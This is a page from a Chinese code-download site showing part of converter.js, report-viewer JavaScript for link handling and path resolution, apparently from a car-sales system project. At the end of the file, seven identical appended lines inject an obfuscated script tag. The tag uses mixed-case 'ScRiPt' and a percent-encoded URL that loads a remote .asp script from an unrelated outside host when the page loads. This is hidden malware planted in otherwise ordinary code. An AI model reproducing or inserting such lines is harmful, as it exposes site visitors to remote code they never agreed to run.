⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 converter.js

📁 关于网上汽车销售系统的详细编程项目实战实例
💻 JS
📖 第 1 页 / 共 3 页
字号:
		alert("Could not extract DataValue");
		return;
	}
	sDV = sText.substring(iSDV, iEDV);
	alert("Extracted data value is ... " + sDV + "\nDebug = " + debugText(sDV));
}

///////////////////////////////////////////////////////////////////////////////

// If needed the target of the hyperlink in the report page, can be
// modified in this method

function handleLinkClick( link, linkType, targetWindow )
{
	var bStdProtocol = isStandardProtocol(link);
	if (!bStdProtocol)
	{
		var sAbsPath = getAbsPathForTransientReport(link);
		if (sAbsPath != null)
			link = sAbsPath;
		if (g_browserType.name == "IE" && g_browserType.platform != "Mac" && g_browserType.version < 5.5)
			link = escapeLink(link);
	}
	
	sSuffixURL = "";
	if (!inSearchMode() || !isReportFrameLoaded())
	{
		var url;

		g_browserVersion = parseFloat(window.navigator.appVersion);
		if (ns4 && g_browserVersion == 4.08)
		{
			// Only Netscape 4.08 seem to have problem if relative URL contains ':'.
			// Absolute URLs, start with "http", seem to be ok.
			if( ( link.lastIndexOf( "http:" ) == -1 ) &&
				( link.lastIndexOf( "https:") == -1 ) &&
				( link.lastIndexOf( "mailto:") == -1 ) &&
				( link.lastIndexOf( "file:") == -1 ) &&
				( link.lastIndexOf( "ftp:") == -1 ) )
			{
				url = link.replace( /:/g, "%3A" );
			}
			else
				url = link;

			url = link;
		}
		else
		{
			url = link;
		}

		// support for javascript protocol
		if ( link.indexOf( "javascript:" ) == 0 )
		{
			// look for the escaped parentheses
			var left = link.indexOf( "%28" );
			var right = link.lastIndexOf( "%29" );
			if ( ( left > 10 ) &&
				 ( right > 13 ) )
			{
				// unescape the left paren and the right paren
				url = link.substring(0, left) + decode(link.substring(left, left+3)) +
				      link.substring(left+3, right) + decode(link.substring(right, right+3)) +
					  link.substring(right+3, link.length);
			}
		}

		if (targetWindow)
		{
			// replace any character that is not a letter, numeral, or underscore with an underscore
			targetWindow = targetWindow.replace( /\W/g, "_" );

			if (! bStdProtocol)
				url += sSuffixURL;

			window.open(url, targetWindow);
			return;
		}

		if (linkType == "Internal")
		{
			//Replace viewer/viewdefault.jsp with servlet/ViewPage
			//In order not to load in frameset mode within a frame of the existing frameset
			
			var queryIndex = url.indexOf("command=viewdefault");
			if (queryIndex != -1)
				url = url.substring(0, queryIndex) + 
					"command=viewpage" + url.substring(queryIndex+19, url.length);
			//CONNECTION HANDLER CHANGE
			if (parent != null && parent.sConnectionHandle != null)
			{
				sSuffixURL += "&connectionHandle=" + encode(parent.sConnectionHandle);
			}
			if (parent != null && parent.sID != null) // VIA viewframeset.jsp
			{
				sSuffixURL += "&id=" + parent.sID;
				//url = removeParams(url, "name");
			}
			else // SCAN WINDOW URL DIRECTLY FOR (ID, ConnectionHandle)
			{
				sWindowURL = window.location.href;
				iID = sWindowURL.toLowerCase().indexOf("?id=");
				iCH = sWindowURL.toLowerCase().indexOf("?connectionhandle=");
				if (iID == -1) iID = sWindowURL.toLowerCase().indexOf("&id=");
				if (iCH == -1) iCH = sWindowURL.toLowerCase().indexOf("&connectionhandle=");
				if (iCH >= 0 && iID >= 0)
				{
					iCH_End = sWindowURL.indexOf("&", iCH + 1);
					iID_End = sWindowURL.indexOf("&", iID + 1);
					if (iCH_End == -1) iCH_End = sWindowURL.length();
					if (iID_End == -1) iID_End = sWindowURL.length();
					sSuffixURL += "&id=" + sWindowURL.substring(iID + 4, iID_End);
					sSuffixURL += "&connectionHandle=" + sWindowURL.substring(iCH + 18);
				}
			}
			if (! bStdProtocol)
				url += sSuffixURL;

			if (parent.frames.reportframe)
			{
				parent.frames.reportframe.location.replace(url);
			}
			else
			{
				parent.location.href = url;
			}

            parent.bIsLinkInternal = true;

		}
		else//if (linkType == "External")
		{
			// Store the action in the viewframeset. It will be needed to
			// identify the cause of the frameset load. We identify external
			// search hyperlinks as "EHL_CLICK". All other causes for frameset
			// loads are identified as "UNKNOWN". This way we know the right
			// page number to take the use to, when the frameset loads.

			if (link.toLowerCase().indexOf("?search") != -1)
			{
				parent.g_loadAction = "EHL_CLICK";

				// Need to update the cookie right, now. Can't do it when the frameset
				// unloads because the unLoad() may not be called, especially when the
				// frameset didn't load completely. Also for Netscape, in the frameset
				// unload method the doucment is no longer in scope.

				if( parent.updateLocationStoreCookie) {
					parent.updateLocationStoreCookie();
				}
			}
			if (! bStdProtocol)
				url += sSuffixURL;

			parent.location.href = url;
		}
	}
}

///////////////////////////////////////////////////////////////////////////////


function getFolderFromFilename(sFileName)
{
	if (sFileName == null)
		return null;

	var iLastSlash = sFileName.lastIndexOf("/");

	if (iLastSlash < 0)
		return "";

	var sFolder = sFileName.substring(0, iLastSlash);

	if (sFolder=="")
		sFolder = "/";

	if(sFolder == "/")
		return sFolder;
	else
		return sFolder+"/";
}

function getAbsolutePathForLink(linkExp)
{
	var fileName2 = "";
	var fileName1 = "";
	var destReport = "";
	var windowURL = window.document.URL;

	windowURL = decode(windowURL);

	//Getting the entire filename from window url.
	var i = windowURL.toLowerCase().indexOf("name=", 0); // WARNING: THIS ONLY MAPS TO "name=|outputName=|execName="
	if (i == -1) return null;
	var j = windowURL.indexOf("&", i);
	if (j == -1)
		fileName1 = windowURL.substring(i + 5, windowURL.length);
	else
		fileName1 = windowURL.substring(i + 5, j);

	//Getting the entire filename of dest report file from linkExp considering version.
	var k = linkExp.indexOf(";", 0);
	if (k == -1) k = linkExp.indexOf("?", 0);
	if (k == -1)
	{
		fileName2 = linkExp;
		linkExp = "";
	}
	else
		fileName2 = linkExp.substring(0, k);

	//Getting only the folder name from first file name
	var sFolder1 = getFolderFromFilename(fileName1);

	//Getting only the folder name from dest report file name
	var sFolder2 = getFolderFromFilename(fileName2);

	//Extracting only the dest report file name
	var l = fileName2.indexOf(sFolder2, 0);
	var q = fileName2.lastIndexOf("/");
	if( q != -1)
		destReport = fileName2.substring(q + 1, fileName2.length);
	else
		destReport = fileName2;

	//Constructing the actual absolute url for linkExp
	var linkExpAbsolute = "";

	if ((sFolder2 == "/") || (sFolder2.charAt(0) =='/'))
	{
		//It is an absolute path for dest report;
		return;
	}

	if (sFolder2 == "")
	{
		// Dest report in the current folder
		linkExpAbsolute = encode(sFolder1)+destReport+linkExp.substring( k, linkExp.length);
		return linkExpAbsolute;
	}

	if (sFolder2.indexOf("..") != -1)
	{
		//Dest report url is relative with ..
		var arr = sFolder2.split("/");
		sFolder1 = sFolder1.substring(0, sFolder1.length-1 );
		for (var m = 0; m < arr.length; m++)
		{
			if (arr[m] == "..")
			{
				var n = sFolder1.lastIndexOf("/");
				sFolder1 = sFolder1.substring(0, n);
			}
		}
		var p = sFolder2.lastIndexOf("..");
		sFolder = sFolder1+sFolder2.substring(p+2, sFolder2.length);
		linkExpAbsolute = encode(sFolder)+destReport+linkExp.substring(k, linkExp.length);
		return linkExpAbsolute;
	}
	else
	{
		sFolder = sFolder1 + sFolder2;
		linkExpAbsolute = encode(sFolder)+destReport+linkExp.substring(k, linkExp.length);
		return linkExpAbsolute;
	}
}

function getAbsPathForTransientReport(link)
{
	// We only need re-direct relative URLs within transient report
	// Assuming the URLs contains "name=/$transient/" 

	// Getting the path name of the report 
	var index1 = link.toLowerCase().indexOf("name=", 0);
	if (index1 == -1) return null;
	index1 = index1 + 5;
	var destFile;
	var index2 = link.indexOf("&", index1);
	if (index2 == -1)
		destFile = link.substring(index1, link.length);
	else
		destFile = link.substring(index1, index2);

	// Checking if it is URL need re-direct		
	if( destFile.toLowerCase().indexOf("/$transient/") != 0 &&
	    destFile.toLowerCase().indexOf("/%24transient/") != 0)
	{
		return null;
	}
	
	// Getting the file name only
	var index3 = destFile.toLowerCase().indexOf("transient/");
	destFile = destFile.substring(index3 + 10, destFile.length);

	var fileName1 = "";
	var windowURL = window.document.URL;
	windowURL = decode(windowURL);

	//Getting the entire filename from window url.
	var i;
	var offset;

	// WARNING: THIS ONLY MAPS TO "name=|outputName=|execName="
	i = windowURL.toLowerCase().indexOf("outputname=", 0);
	offset = 11;
	if (i == -1)
	{
		i = windowURL.toLowerCase().indexOf("name=", 0); // WARNING: THIS ONLY MAPS TO "name=|outputName=|execName="
		offset = 5;
	}
	if (i == -1)
	{
		return null;
	}
	
	var j = windowURL.indexOf("&", i);
	if (j == -1)
		fileName1 = windowURL.substring(i + offset, windowURL.length);
	else
		fileName1 = windowURL.substring(i + offset, j);

	//Getting only the folder name from first file name
	var sFolder1 = getFolderFromFilename(fileName1);

	//Constructing the actual absolute url for linkExp
	var linkExpAbsolute = "";
	linkExpAbsolute = link.substring(0, index1)+encode(sFolder1)+destFile+link.substring(index2, link.length);
	return linkExpAbsolute;
}

// Since IE 5.0 un-escape the Javascript function parameters, do escape again here
function escapeLink(link)
{
	var tmpString = link.toLowerCase();
	// unescape the pathname of the file
	var from = tmpString.indexOf("?name=");
	if (from != -1)
	{
		from = from + 6;
		var to = tmpString.indexOf(".roi");
		if (to == -1)
			to = tmpString.indexOf(".rox");
		if (to == -1)
			to = tmpString.indexOf(".rov");
		if (to == -1)
			to = tmpString.length;
		if (from > to)
			from = to;
		var subLink = link.substring(from, to);
		subLink = unescape(subLink); 
		link = link.substring(0, from) + escape(subLink) + link.substring(to, link.length);
	}

	// unescape the search criteria
	tmpString = link;
	var from = tmpString.indexOf("&searchcriteria=");
	if (from != -1)
	{
		from = from + 16;
		var to = link.length;
		if (from > to)
			from = to;
		var subLink = link.substring(from, to);
		subLink = unescape(subLink); 
		link = link.substring(0, from) + escape(subLink);
	}

	return link;
}
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -